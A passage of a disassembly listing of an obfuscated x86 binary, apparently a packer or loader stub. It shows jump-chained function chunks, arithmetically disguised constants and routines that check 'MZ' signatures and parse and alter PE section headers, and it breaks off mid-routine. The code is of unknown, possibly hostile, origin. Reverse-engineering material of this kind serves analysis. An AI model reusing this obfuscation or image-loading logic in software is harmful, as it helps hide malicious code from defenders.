loc_425C6D:				; CODE XREF: _7hdaygc1:loc_42825Fj
		mov	eax, 400h
		push	offset sub_428A39
		jmp	locret_42BF31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4270E6


loc_425C7C:				; CODE XREF: sub_4270E6-1F75j
					; sub_4270E6+5239j
		rol	ebx, 0Eh
		add	ebx, 0A861F357h
		xchg	ebx, [esp+0]
		jmp	sub_428C3B
; END OF FUNCTION CHUNK	FOR sub_4270E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_425C8D:				; CODE XREF: sub_423172+3A1Aj
		sub	edi, esi


loc_425C8F:				; CODE XREF: sub_423172:loc_426B80j
		rol	ebx, 0Fh
		add	ebx, 0D5B12B11h
		xor	ebx, 0F1E48B6Eh
		cmp	ebx, 9AF9C0F0h
		jmp	loc_4239F7
; END OF FUNCTION CHUNK	FOR sub_423172

; =============== S U B	R O U T	I N E =======================================



sub_425CA9	proc near		; DATA XREF: sub_4295A2+41F1o

; FUNCTION CHUNK AT 00427F4F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F508 SIZE 0000000F BYTES

		add	eax, edi
		pop	edi
		xor	ebx, eax
		mov	[ebp-8], ebx
		mov	eax, offset dword_42BC4C
		jmp	loc_42F508
sub_425CA9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_425CBB:				; CODE XREF: _7hdaygc1:0042BEB2j
		jz	loc_4241D8
		jmp	loc_42C6D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A2EF


loc_425CC6:				; CODE XREF: sub_42A2EF:loc_42D707j
		lea	eax, [ebp-14h]
		push	0C67B87E3h
		xchg	eax, [esp+4+var_4]
		mov	ecx, eax
		pop	eax
		or	ecx, 0CB959F0Dh
		add	ecx, 866C179h
		add	ecx, ebp
		jmp	loc_4252A9
; END OF FUNCTION CHUNK	FOR sub_42A2EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E29B


loc_425CE7:				; CODE XREF: sub_42E29B+11j
		xchg	edi, [esp+4+var_4]
		mov	ebp, edi
		pop	edi
		mov	eax, ds:dword_42B9AC
		jmp	loc_423C4F
; END OF FUNCTION CHUNK	FOR sub_42E29B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E695


loc_425CF8:				; CODE XREF: sub_42E695:loc_42EA34j
		or	edi, 4CF8EA49h
		rol	edi, 7
		xor	edi, 34EBAD5Dh
		test	edi, 2000000h
		jmp	loc_425A2A
; END OF FUNCTION CHUNK	FOR sub_42E695
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 16h
; START	OF FUNCTION CHUNK FOR sub_42C50D


loc_425D16:				; CODE XREF: sub_42C50D-87C0j
		call	sub_42A473
; END OF FUNCTION CHUNK	FOR sub_42C50D
; START	OF FUNCTION CHUNK FOR sub_4288FE


loc_425D1B:				; CODE XREF: sub_4288FE-3080j
		jz	loc_42FA62
		jmp	loc_42C204
; END OF FUNCTION CHUNK	FOR sub_4288FE
; ---------------------------------------------------------------------------


loc_425D26:				; CODE XREF: _7hdaygc1:0042B5F2j
		push	565A5FA5h
		xchg	ebx, [esp]
		mov	eax, ebx
		pop	ebx
		rol	eax, 7
		or	eax, 59890A2Dh
		jmp	loc_428D85

; =============== S U B	R O U T	I N E =======================================



sub_425D3F	proc near		; CODE XREF: sub_42A052:loc_42A47Ep
					; _7hdaygc1:0042A684j
		xchg	eax, [esp+0]
		pop	eax
		rol	eax, 16h
		call	sub_42D031


loc_425D4B:				; CODE XREF: sub_424A2B+7131j
		jmp	nullsub_8
sub_425D3F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D287


loc_425D50:				; CODE XREF: sub_42D287+6j
		push	offset sub_42CCFE
		jmp	nullsub_56
; END OF FUNCTION CHUNK	FOR sub_42D287
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F152


loc_425D5A:				; CODE XREF: sub_42F152+A03j
		jl	loc_42F192
		jmp	loc_4292E5
; END OF FUNCTION CHUNK	FOR sub_42F152

; =============== S U B	R O U T	I N E =======================================



sub_425D65	proc near		; CODE XREF: _7hdaygc1:00429E48j
					; sub_42B01E+7p

; FUNCTION CHUNK AT 004271D2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004282F3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042C477 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D8BB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042E802 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042EB84 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp-1], al
		cmp	byte ptr [ebp-1], 0
		jmp	loc_42EB84
sub_425D65	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_425D7A:				; CODE XREF: sub_426130+26C0j
		jz	loc_42C933
		jmp	loc_42B7D8
; END OF FUNCTION CHUNK	FOR sub_426130

; =============== S U B	R O U T	I N E =======================================



sub_425D85	proc near		; CODE XREF: _7hdaygc1:00424D5Aj
					; sub_42926C+1D41p

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0042BEC1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E7B3 SIZE 00000004 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xchg	ebp, [esp-4+arg_0]


loc_425D8C:				; CODE XREF: _7hdaygc1:loc_42D9F2j
		mov	ecx, ebp
		pop	ebp
		pop	ecx
		xchg	ebx, [esp-0Ch+arg_8]
		jmp	loc_42BEC1
sub_425D85	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F65A


loc_425D98:				; CODE XREF: sub_42F65A+Ej
		mov	eax, [ebp-4]
		movzx	eax, word ptr [eax+6]
		mov	[ebp-34h], eax
		mov	eax, [ebp-4]
		movzx	eax, word ptr [eax+14h]
		sub	eax, 0E0h
		mov	[ebp-30h], eax
		jmp	loc_42C3B9
; END OF FUNCTION CHUNK	FOR sub_42F65A
; ---------------------------------------------------------------------------
		jge	loc_42A0ED
		jmp	sub_42BEC6
; ---------------------------------------------------------------------------


loc_425DC1:				; CODE XREF: _7hdaygc1:004250AEj
		add	edx, 1EAB37D9h
		mov	[edx], eax
		pop	edx
		cmp	dword ptr [ebp-30h], 0
		jle	loc_426C06
		jmp	loc_4287F5
; ---------------------------------------------------------------------------


loc_425DD9:				; DATA XREF: sub_427CC6+6125o
		jz	loc_42ADA7
		cmp	eax, 0FFFFFFFFh
		jz	loc_42ADA7
		mov	eax, [eax]
		jmp	loc_42787E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427CC6


loc_425DEF:				; CODE XREF: sub_427CC6:loc_42DDE3j
		or	eax, eax
		call	sub_426B1A
; END OF FUNCTION CHUNK	FOR sub_427CC6
; START	OF FUNCTION CHUNK FOR sub_425735


loc_425DF6:				; CODE XREF: sub_425735+41CFj
		push	offset loc_42E397
		jmp	loc_42FB17
; END OF FUNCTION CHUNK	FOR sub_425735
; ---------------------------------------------------------------------------

locret_425E00:				; CODE XREF: _7hdaygc1:0042BF8Cj
		retn
; ---------------------------------------------------------------------------


loc_425E01:				; DATA XREF: _7hdaygc1:loc_425A7Bo
		add	eax, [edx+10h]
		push	edi
		mov	edi, edx
		xchg	edi, [esp]
		push	32473C1Fh
		pop	edx
		xor	edx, 400BAA91h
		or	edx, 4A802CCDh
		jmp	loc_429E7D

; =============== S U B	R O U T	I N E =======================================



sub_425E21	proc near		; CODE XREF: _7hdaygc1:00425F4Ej
					; sub_423D6F+B93Cp

; FUNCTION CHUNK AT 00423F5E SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0042F1C0 SIZE 00000006 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	6767CD7Eh
		pop	esi
		jmp	loc_423F5E
sub_425E21	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F152


loc_425E30:				; CODE XREF: sub_42F152-25D2j
		cdq
		jmp	loc_42F192
; END OF FUNCTION CHUNK	FOR sub_42F152
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_425E36:				; CODE XREF: sub_42AA47:loc_42AF2Bj
		push	97A5D199h
		pop	eax
		xor	eax, 0FA7B4517h
		sub	eax, 0D1E7E78Ch
		xor	eax, 215E5A20h
		call	sub_42AB0F


loc_425E53:				; CODE XREF: sub_4255F3+8j
		jz	loc_4249A1
		jmp	loc_42684D
; END OF FUNCTION CHUNK	FOR sub_42AA47
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FD11


loc_425E5F:				; CODE XREF: sub_42FD11-770Ej
		jmp	loc_4235D4
; END OF FUNCTION CHUNK	FOR sub_42FD11

; =============== S U B	R O U T	I N E =======================================



sub_425E64	proc near		; CODE XREF: _7hdaygc1:0042B847j
					; sub_4237DA:loc_42EEBEp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424650 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00424B82 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424F72 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00424F99 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426BCB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00426ECD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00427290 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00427879 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427CA4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428ABC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042933A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429471 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042A54F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042A7D4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B667 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042B69D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BABB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042BF51 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C7A5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042D35C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042D519 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042D72D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042DAA4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042DB23 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042DC08 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EB02 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F18C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042F277 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F903 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042FB44 SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		xor	eax, 297C3B0h
		add	eax, ebp
		add	eax, 0E26F826Ah
		mov	eax, [eax]
		cmp	word ptr [eax],	5A4Dh
		jmp	loc_42B69D
sub_425E64	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4289CE


loc_425E82:				; CODE XREF: sub_4289CE:loc_42F70Aj
		add	eax, ebp
		add	eax, 61136251h
		mov	eax, [eax]
		push	eax
		push	28h
		push	0E0E6EFC0h
		jmp	loc_42B94D
; END OF FUNCTION CHUNK	FOR sub_4289CE
; ---------------------------------------------------------------------------
		push	eax
		call	sub_42D9E1
		lea	eax, sub_428F69
		push	ecx
		push	0BAFD543Ah
		jmp	loc_42C324
; ---------------------------------------------------------------------------
		adc	esi, ecx
		jmp	loc_42B528
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4240B0


loc_425EB7:				; CODE XREF: sub_4240B0:loc_424D9Cj
		call	sub_42AA07
		lea	eax, [ebp-14h]


loc_425EBF:				; CODE XREF: sub_42450E:loc_4284BBj
		push	eax
		call	sub_429B49
; END OF FUNCTION CHUNK	FOR sub_4240B0
; START	OF FUNCTION CHUNK FOR sub_42409E


loc_425EC5:				; CODE XREF: sub_42409E:loc_4245B2j
		mov	ds:dword_427CA0, eax
		jmp	loc_42F99B
; END OF FUNCTION CHUNK	FOR sub_42409E
; ---------------------------------------------------------------------------


loc_425ECF:				; CODE XREF: _7hdaygc1:loc_42883Aj
		push	ebx
		push	98131766h
		pop	ebx
		and	ebx, 0C1CE0DB2h
		add	ebx, 804085A5h


loc_425EE2:				; CODE XREF: _7hdaygc1:00424B52j
		xchg	ebx, [esp]
		jmp	loc_428AC8
; ---------------------------------------------------------------------------


loc_425EEA:				; DATA XREF: sub_4232C2:loc_42B9FBo
		cmp	edi, 80000001h
		jbe	loc_42E845
		jmp	loc_42817E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F436


loc_425EFB:				; CODE XREF: sub_42F436:loc_42B9A4j
		add	eax, [esp+0]
		adc	edx, [esp+arg_0]
		add	esp, 8
		movzx	eax, word ptr [eax]
		shl	eax, 2
		jmp	loc_428277
; END OF FUNCTION CHUNK	FOR sub_42F436
; ---------------------------------------------------------------------------


loc_425F10:				; CODE XREF: _7hdaygc1:loc_42817Ej
		ja	loc_42CCA9
		jmp	loc_42E3FB
; ---------------------------------------------------------------------------


loc_425F1B:				; CODE XREF: _7hdaygc1:004237B8j
		jg	loc_428337
		ja	loc_42C520

; =============== S U B	R O U T	I N E =======================================



sub_425F27	proc near		; CODE XREF: sub_42E94F-5B22p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042301E SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00423168 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042353D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00423907 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004254CC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004255ED SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042568C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042699B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00428E17 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004299EF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429C2F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429ED5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A3D5 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042B44A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042CD8F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DC3B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042E4CA SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0042E5A9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EA39 SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		pop	eax
		jmp	loc_42301E
sub_425F27	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424FE5


loc_425F30:				; CODE XREF: sub_424FE5:loc_4238C0j
		push	offset sub_42C177
		jmp	nullsub_171
; END OF FUNCTION CHUNK	FOR sub_424FE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_425F3A:				; CODE XREF: sub_423172+9E63j
		cdq
		idiv	ecx
		add	edx, 30h
		mov	eax, [ebp-10h]
		mov	[ebp+eax-20h], dl
		jmp	loc_42DA57
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
		or	esi, ebx
		jmp	sub_425E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429EBB


loc_425F53:				; CODE XREF: sub_429EBB+Bj
		or	eax, 2783C479h
		and	eax, 2BEEF8D4h
		sub	eax, 89061ADDh
		add	eax, 5E374190h
		and	ebx, eax
		pop	eax
		jmp	loc_426711
; END OF FUNCTION CHUNK	FOR sub_429EBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F075


loc_425F73:				; CODE XREF: sub_42F075+9j
		mov	esi, ecx
		pop	ecx
		call	sub_428C3B
		push	ecx
		call	sub_42B4DE


loc_425F81:				; CODE XREF: sub_42E347-1F19j
		jmp	loc_4234F1
; END OF FUNCTION CHUNK	FOR sub_42F075
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F8F6


loc_425F87:				; CODE XREF: sub_42F8F6+8j
		jmp	loc_42F220
; END OF FUNCTION CHUNK	FOR sub_42F8F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E94F


loc_425F8C:				; CODE XREF: sub_42E94F-7BC4j
		jmp	loc_428E2B
; END OF FUNCTION CHUNK	FOR sub_42E94F
; ---------------------------------------------------------------------------


loc_425F91:				; CODE XREF: _7hdaygc1:004263A5j
		jmp	sub_428C3B
; ---------------------------------------------------------------------------


loc_425F96:				; DATA XREF: sub_428917+5o
		push	6FEB5CC0h
		pop	eax
		or	eax, 2A912DB1h
		test	eax, 20000h
		jmp	loc_42921A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_425FAD:				; CODE XREF: sub_424AE1+8641j
		adc	ebp, ecx
		jmp	loc_428DCA
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_425FB4:				; CODE XREF: sub_423172+8CAAj
		idiv	ecx
		mov	[ebp-8], eax
		inc	dword ptr [ebp-10h]
		cmp	dword ptr [ebp-8], 0
		jnz	loc_424E4D
		jmp	loc_42965F
; END OF FUNCTION CHUNK	FOR sub_423172

; =============== S U B	R O U T	I N E =======================================



sub_425FCB	proc near		; CODE XREF: sub_428B5B-1D0Ap
					; _7hdaygc1:0042CC97j
		xchg	ecx, [esp+0]
		pop	ecx
		inc	dword ptr [ebp-0Ch]
		push	offset loc_4247B5
		jmp	loc_423EAE
sub_425FCB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BAD5


loc_425FDC:				; CODE XREF: sub_42BAD5:loc_425289j
		lea	eax, [edx+eax]
		mov	[ebp-44h], eax
		push	offset loc_429F96
		jmp	loc_4258BE
; END OF FUNCTION CHUNK	FOR sub_42BAD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4263AB


loc_425FEC:				; CODE XREF: sub_4263AB:loc_42908Ej
		xchg	ecx, [esp+0]
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	offset sub_426581
		jmp	nullsub_201
; END OF FUNCTION CHUNK	FOR sub_4263AB
; ---------------------------------------------------------------------------
		push	offset sub_42F0D1
		jmp	locret_42F30B

; =============== S U B	R O U T	I N E =======================================



sub_426008	proc near		; CODE XREF: _7hdaygc1:004299EAp
					; _7hdaygc1:0042DC99j

; FUNCTION CHUNK AT 0042BEBC SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	[ecx], eax
		pop	ecx
		jmp	loc_42BEBC
sub_426008	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425752


loc_426014:				; CODE XREF: sub_425752:loc_42A04Dj
		sub	edx, 8AAB9651h
		xor	edx, 4629C398h
		and	edx, 76F678E6h
		xor	edx, 46145824h
		jmp	loc_42924F
; END OF FUNCTION CHUNK	FOR sub_425752
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425A37


loc_426031:				; CODE XREF: sub_425A37:loc_428576j
		add	eax, ebp
		push	ebx
		push	24D51F4Fh
		pop	ebx


loc_42603A:				; CODE XREF: _7hdaygc1:loc_42E68Fj
		xor	ebx, 0A8DFE6ACh
		test	ebx, 2000h
		jmp	loc_428B4A
; END OF FUNCTION CHUNK	FOR sub_425A37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C7F3


loc_42604B:				; CODE XREF: sub_42C7F3-5B86j
		and	eax, 27D43B5Bh
		xor	eax, 0C2FB88D1h
		add	eax, ebp
		push	ecx
		push	0AAA472B4h
		jmp	loc_42CE1B
; END OF FUNCTION CHUNK	FOR sub_42C7F3

; =============== S U B	R O U T	I N E =======================================



sub_426064	proc near		; CODE XREF: _7hdaygc1:00428164j
					; _7hdaygc1:loc_42FBD1p

; FUNCTION CHUNK AT 00423F7F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423FCA SIZE 0000000D BYTES

		xchg	edx, [esp+0]
		pop	edx
		xor	eax, 86E0CE91h
		add	eax, ebp
		add	eax, 0F80F1B39h
		jmp	loc_423F7F
sub_426064	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	ebx, 62E05C11h
		jmp	loc_42BB6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AA8


loc_426086:				; CODE XREF: sub_424AA8+9j
		xchg	edi, [esp+4+var_4]
		mov	eax, edi
		pop	edi
		add	eax, 0DD727A06h
		cmp	eax, 38B4E51Ah
		jmp	loc_427C8D
; END OF FUNCTION CHUNK	FOR sub_424AA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A833


loc_42609D:				; CODE XREF: sub_42A833+210Bj
		mov	esi, 0DFF83E73h
		jmp	loc_423000
; END OF FUNCTION CHUNK	FOR sub_42A833
; ---------------------------------------------------------------------------
		xchg	edx, [ebx]
		cmp	edi, 28201301h
		jmp	loc_427D34

; =============== S U B	R O U T	I N E =======================================



sub_4260B4	proc near		; CODE XREF: _7hdaygc1:00426557j
					; sub_42D245-371Ap

; FUNCTION CHUNK AT 00426DBE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DC9E SIZE 00000015 BYTES

		xchg	edx, [esp+0]
		pop	edx
		shr	eax, 0Bh
		xor	[ebp-8], eax
		mov	eax, [ebp-8]
		jmp	loc_426DBE
sub_4260B4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4260C6:				; CODE XREF: _7hdaygc1:0042D5D6j
		not	ecx


loc_4260C8:				; CODE XREF: _7hdaygc1:loc_425279j
		xor	eax, 0EEDF3328h
		add	eax, ebp
		add	eax, 0BFBFB475h
		mov	eax, [eax]
		and	dword ptr [eax+24h], 7FFFFFFFh
		jmp	loc_42AA2A
; ---------------------------------------------------------------------------


loc_4260E4:				; CODE XREF: _7hdaygc1:loc_42E190j
		jg	loc_427257
		jmp	loc_424CB1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_4260F0:				; CODE XREF: sub_4291EA:loc_42F974j
		jl	loc_4272A3
		pop	eax
		sbb	esi, ecx
		cmp	edi, 910CC87Eh
		jmp	loc_428D8A
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42450E


loc_426104:				; CODE XREF: sub_42450E+8DA6j
		ja	loc_4250C0
		jmp	loc_4284BB
; END OF FUNCTION CHUNK	FOR sub_42450E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4268D9


loc_42610F:				; CODE XREF: sub_4268D9-280Aj
		jl	loc_42FD7C
		jz	loc_42F6D3


loc_42611B:				; CODE XREF: sub_4268D9:loc_42F66Dj
		add	edi, 0E0269879h
		xchg	edi, [esp+0]
		push	esi
		jmp	loc_428DE1
; END OF FUNCTION CHUNK	FOR sub_4268D9
; ---------------------------------------------------------------------------


loc_42612A:				; CODE XREF: _7hdaygc1:0042AEBDj
		sbb	eax, 0FC3F5AAFh

; =============== S U B	R O U T	I N E =======================================



sub_426130	proc near		; CODE XREF: sub_42C26B:loc_426BE7p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042343F SIZE 00000025 BYTES
; FUNCTION CHUNK AT 004235C0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004240DC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00424F89 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00425083 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00425712 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00425D7A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004261BC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004286D9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004287E4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004288F4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042978D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A427 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042B7D8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BF37 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042BF56 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C46C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C933 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D0CA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D37F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042D39C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042D8E4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042DF67 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042DF98 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0042F147 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F171 SIZE 0000001B BYTES

		xchg	edx, [esp+4+var_4]
		pop	edx
		mov	ebx, [edx+eax*4]
		call	sub_428C3B


loc_42613C:				; CODE XREF: sub_42C26B-6092j
		push	edi
		push	0AA53EA41h
		pop	edi
		jmp	loc_42343F
sub_426130	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_426148:				; CODE XREF: _7hdaygc1:0042391Aj
		sub	ebp, 0D1F1F44Ch

; =============== S U B	R O U T	I N E =======================================



sub_42614E	proc near		; CODE XREF: sub_42C16F:loc_42D6F0p
		xchg	ecx, [esp+0]
		pop	ecx
		rol	eax, 17h
		push	eax
		retn
sub_42614E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_426157:				; CODE XREF: sub_42C16F:loc_42C650j
		jmp	loc_42A2C9
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BD51


loc_42615C:				; CODE XREF: sub_42BD51+Cj
		jmp	loc_427CF4
; END OF FUNCTION CHUNK	FOR sub_42BD51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A833


loc_426161:				; CODE XREF: sub_42A833-F6Ej
		jmp	loc_42E9B2
; END OF FUNCTION CHUNK	FOR sub_42A833
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F152


loc_426166:				; CODE XREF: sub_42F152-5F6Dj
		jmp	loc_42FB4F
; END OF FUNCTION CHUNK	FOR sub_42F152

; =============== S U B	R O U T	I N E =======================================



sub_42616B	proc near		; CODE XREF: sub_42821A+4p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424053 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004255E1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00426658 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004280E8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428DF2 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042A41C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C4ED SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042C84B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042E599 SIZE 00000005 BYTES

		push	esi
		mov	esi, ebp
		jmp	loc_428DF2
sub_42616B	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_159. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4269CB


loc_426174:				; CODE XREF: sub_4269CB+65C2j
		js	loc_42F8A5


loc_42617A:				; CODE XREF: sub_4269CB:loc_42521Ej
		call	sub_42DAE8
		and	ebx, 0C329AD5h
		jmp	loc_42A691
; END OF FUNCTION CHUNK	FOR sub_4269CB
; ---------------------------------------------------------------------------


loc_42618A:				; CODE XREF: _7hdaygc1:00429F91j
		popf
; START	OF FUNCTION CHUNK FOR sub_424F62


loc_42618B:				; CODE XREF: sub_424F62:loc_42AEC3j
		xor	esi, 613E6D5Eh
		call	sub_42EBD6
; END OF FUNCTION CHUNK	FOR sub_424F62
; START	OF FUNCTION CHUNK FOR sub_424680


loc_426196:				; CODE XREF: sub_424680+11j
		or	eax, edx
		mov	edx, [ebp+8]
		mov	[edx-8], eax


loc_42619E:				; CODE XREF: sub_42581B-FF6j
					; sub_42C443:loc_424EDAj ...
		mov	eax, [ebp-4]
